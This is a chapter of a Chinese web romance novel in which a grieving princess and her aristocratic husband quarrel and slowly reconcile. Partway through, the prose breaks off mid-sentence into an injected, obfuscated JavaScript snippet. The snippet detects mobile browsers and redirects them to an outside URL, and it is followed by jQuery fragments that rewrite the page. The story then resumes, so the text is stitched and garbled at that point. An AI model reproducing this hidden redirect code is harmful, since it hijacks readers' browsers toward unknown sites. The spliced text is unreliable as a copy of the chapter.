24. 诉情
作品:《死遁后高岭之花火葬场了》 燕宁的答案一直在她意料之中,可亲口听到他这般笃定的说出来,李蕴如还是止不住的心痛,情绪无法自控,她洇红着眼看他,唇口在打颤,可依然那般骄傲,嘴上倔强。
“那你来这儿做什么,滚,滚出去,本公主不需要你假惺惺的怜悯关心,不需要你来看!”
燕宁说出这番话,心何曾不是绞着痛,他垂丧着肩,仿佛失去了所有的力气,没有半点清姿卓然的世家子风度。
人没有走,只是再一次的拥住了她,哑声道:“可我需要公主的关心。”
他黏黏糊糊的说:“自十岁后,父亲再未罚跪过我,昨日罚了我一夜,今儿个堪堪天明才松口,我这膝上,都是伤。”
这她是知晓的,甚至造成这般结果,还有她推波助澜的作用,听他这般说,心软下来几分,但依旧不松口。
“那谁唤你来了!”
她嘴硬说:“有伤便好好在府上养着,我又不是大夫,不会治病,来有什么用!”
还尽说些她不爱听的话,惹人心烦!
燕宁道:“我想公主,念着公主,便自己来了。”
他有些颇为无奈的说:“公主,其实你我之间,何至于此呢。”
“如今这般,是各方因果所致,与你无关,与我无关,你我虽身份高贵,却也不过是这时局之下,微弱不可堪见的沙粒尘埃,亦改变不了什么,宣帝明白这一点,皇后也清楚,所以他们不希望你搅入其中,只想你好好的过自己的日子……”
“我不可能好好的过日子了。”李蕴如道。
且不说她父皇故去,太子李洵心善却性子软,无法应对朝局的变化,亦不能护住齐宣帝留下的荣耀,便是抛开这些,燕家如此瞧不上她,崔氏向着崔婉,处处谋算想让人进门。
她在燕家日子,于公主之时都尤为艰难,失去了这个身份荣耀,不敢想又是该如何?
她需要多么卑微,小心翼翼,如履薄冰,才能在燕家有一席之地。
燕宁待她有意,也会护着她几分,却是始终家族为先,那么将来就算是最好的结果,她以嫡妻的身份留下,燕家也会为他再纳妾室,开枝散叶。
到那时,不论是出于本心也好,孝道也罢,他都会接受。
而她呢?
要她如同崔氏,如同那一个个世家主母,世家贵女那般,容忍大度,看着自己的丈夫,一个又一个将新人迎进门,她还需陪着笑脸祝愿。
她才做不到呢!
她莅阳公主的丈夫,是她的人,便只能是属于她一个人的,她不会与任何一个女人去分享!
她不离开,就需要在这日复一日之中,让自己学着忍耐接受,最后变得自己不像自己,燕宁待她的情分,也会在这日久年长中随着一个又一个娇美人进门,慢慢消失殆尽。
怎么样,她都不可能做到好好过日子的!
可是,说这些,说得再多又有何用,在人眼中,或许不过是无病呻吟,杞人忧天罢。
她沉默下去,不再言语。
内室骤然一片安静。
舒云见状,适时将房里的丫鬟都清了出去,把空间留于二人。
李蕴如掰开他抓在腰际的手,道:“这些冠冕堂皇的话,说得再多,也毫无意义,你不可能放弃你的身份荣耀,我亦如是,这件事没什么好谈的,郎君请回罢。”
她下逐客令。
燕宁清楚她这性子倔得紧,认定的事,不会改变,却不曾想自己如此低头服软,她都未能柔软半分。
太拧了!
实在是个难搞的女郎。
要命!
“公主当真无情。”
燕宁他恨死了她这份倔性,却也爱惨了这份倔性。
还没谁敢叫他这么狼狈呢。
吃闭门羹。
世家的教养告诉他,得给自己保持些体面,这时候便该走了,然而他心中却有个声音在叫嚣着。
问他为什么要体面呢?
这是你的嫡妻,与你同床共枕多时日的人,你们彼此见过对方最好,也最为恶劣甚至私隐的一面。
为何要让那些没有温度的教条规矩束着自己呢?
这在宫中,私下无人,亦没人知道你的狼狈……
不该如此的。
难不成你忘了,自己今早赶着过来,是为何了吗?
她方失去亲人,难免脾性大些,情绪不稳,偏激极端些亦可理解的,你能对母亲说叫她包容些,为何自己不能,一定要与她闹呢?
对。
是这样的。
他的小公主素日也是乖的,倔些却坦荡也体贴,在外给足了他体面,从不闹什么,这都是因为伤心过度才如此,他不应该这样对她的。
人说服了自己,愣是没走,依然在那儿,李蕴如美眸微抬就见他沉着一张脸,但却未动一下。
“还不走?”
燕宁道:“今晨早早赶来,未曾用过早膳,腿有些发虚,走不动。”
李蕴如:“……”
“过门是客,总不能因着是夫妻,公主便连一顿饭食都不赏罢?”
李蕴如真的被他这耍赖的模样给气笑了,她让舒云传午膳。
不过事实证明,有一便有二,心软松口一回,人便得寸进尺来。
午膳完,燕宁依旧未走,他道:“昨日罚跪一夜,又经风霜雨淋,这膝盖实在疼的厉害,走不动道,还望公主开开善心,收留三郎几日。”
他一双乌眸就那么盯着你,好不真诚,真诚的仿佛你拒绝,都好似罪过。
李蕴如忽然想,或许郎君不该要模样太过俊俏的,否则发脾气,都不好太厉害!
“你简直无赖!”
她骂了一句,让人去太医院寻个医者过来。
燕宁瞧她这般,眉目中渐渐染上了些许笑意。
果然。
他的小公主是乖的,心软得紧,才舍不得他真吃苦。
太医过来瞧过,并无大事,不过是跪久了,破了些皮,没有伤及根本,可他被养得矜贵很,就是说伤得厉害,愣是没走。
“你故意的罢!”
“公主瞧出来了。”
他倒是坦荡得很,一双凤眸微挑,半含着笑瞧她,直接承认下来,没有半分遮掩。
李蕴如不解他为何如此,心上觉是有趣的,比平时总端着有意
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15569637|171178||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
思多了,要换个时间场合,在过去,她定会调笑人,挽着他的脖子,在他身上蹭来蹭去,故意逗弄道:“郎君如此,该不会是舍不得我罢?”
“哎呀,这明月皎皎的佳君子原也耽于温柔乡,传出去可是要被笑话的吧,不过没关系,本公主会护着你的,谁敢笑你一句,本公主就杀了他!”
她要告诉他:“本公主很喜欢你现在这番模样,是个活人姿态了,你保持住,本公主才会继续宠幸你。”
只是她现在无心思去想这些,也不想同他敷衍应付什么,人无奈的说道:“你这何必呢?”
他伸出手,拽过她的纤纤指节,在上边细细的摩挲了几下,拉着她坐下来,如星月般明亮的眸子凝望着人,一字一句的说:“求公主怜我。”
唉。
李蕴如轻叹了一口气,“罢了。”
左右当也没多少这样的日子了,便是当作最后的话别罢。
她没再执着于这个事,人将手从他冰凉的掌中抽离,拿过一旁太医留下的金疮药,将他整个压在榻上,命令道:“坐好些,别乱动。”
人坐定,她半蹲下去,坐在他脚边,便是手伸过去,解他的裤腿,意识到她在做什么,燕宁立即挡住,他道:“这种事,唤敬生来就好。”
他不需要他的小公主做这些伺候人的事,她该是一只高傲的凤凰,只栖梧桐,不沾泥尘。
“方才还说叫我怜你呢,这会儿自己先矫情起来了。”
李蕴如怼他:“郎君身上,有哪处是我没瞧过的,何必扭捏。”
她没放弃,拿开他的手,将素白的裤腿挽上去,那裹于其中的长腿露了出来。
燕宁的腿很白,没什么毛发,不过并非像女郎那般,纤细柔软,很是结实紧致,长且又直,力道十足。
走路带着风,夜间……也能要人命去……
她没与他说过一个内心不可提及的小私隐,人极其喜爱他这一双腿,尤其是在床榻间时,他半跪在她身上,挟制住她。
李蕴如能够清楚感知它的力量感,还有他因为礼仪教养而努力隐忍藏着,不露出来的心思。
他嘴很硬,可生理上的反应,是骗不了人的。
美人为自己屈膝,自然是人生美事,燕宁不否认,他心里跟身体上都有莫大的满足感。
李蕴如将他的所有反应都瞧在眼里,调侃道:“郎君分明是心里欢喜的,却是这般能装,呵,若将来娶个同你一样能装的世家贵女,那日子过得该有多无趣!”
他们世家许多这种,背地里什么都来,可是污秽不堪,可明面上却是端着,真好似将自己比于明月了,圣洁不可攀。
燕宁的脸色随着她的话一寸寸败落下来,没有否认。
是这般的,若是他当初娶的并非李蕴如,而是一个家世相当的女郎,哪怕不是崔婉,是其她人,日子当是如此……
从前他并未觉得这有什么不好,可现在……他会想,或许日子不该是这样过的。
燕宁道:“既是如此,那公主当牢牢地抓住这个位置,才不叫臣下日子过得太无趣去。”
嗯?
二人抬头,视线在半空中交汇……